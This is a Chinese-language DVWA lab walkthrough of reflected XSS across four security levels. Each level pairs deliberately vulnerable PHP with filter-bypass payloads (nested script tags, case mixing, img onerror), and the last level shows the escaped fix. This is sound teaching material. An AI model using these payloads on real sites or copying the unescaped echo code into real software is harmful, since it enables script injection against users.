### 1、反射型xss
### ①、low
漏洞代码:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
```
分析与利用:
直接通过$_GET方式获取name的值,之后未进行任何编码和过滤,导致用户输入一段js脚本会执行。
构造payload:
```
<script>alert(/xss/)</script>
```
直接执行代码,如下图:
![](/upload/attach/201710/201710161527_vwboguc6hyhtpe0.jpg)
### ②、medium
漏洞代码:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
```
分析与利用:
str_replace对输入的<script>标签进行替换为空,这样当在输入上面low等级的payload的时候,就会进行过滤导致代码执行不成功,此时可以多写入一个<script>, 如
```<scrip<script>t>alert(/xss/)</script>```,过滤方法把中间的<script>标签替换为空之后 <scrip 与t>重新组合一个<script>,成功执行代码。
也可以构造别的标签 如```<img src=0 onerror=alert(/xss1/)> ```
或者把标签转换大小写的方式进行绕过``` <scRipt>alert(/xss2/)</sCript>```
### ③、high
漏洞代码:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
```
分析与利用:
preg_replace执行一个正则表达式的搜索和替换,这时候不论是大小写、双层<script>都无法绕过,此时可以使用别的标签,比如刚刚使用过的<img>,构造payload
```<img src=0 onerror=alert(/xss/)>```
执行payload之后URL变化为:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D0+onerror%3Dalert%28%2Fxss%2F%29%3E#
### ④、impossible
安全代码:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
```
分析:
Htmlspecialchars方法将用户输入的特殊字符转换为 HTML 实体,< > “ ‘ &等字符会被转换,于是不存在xss漏洞。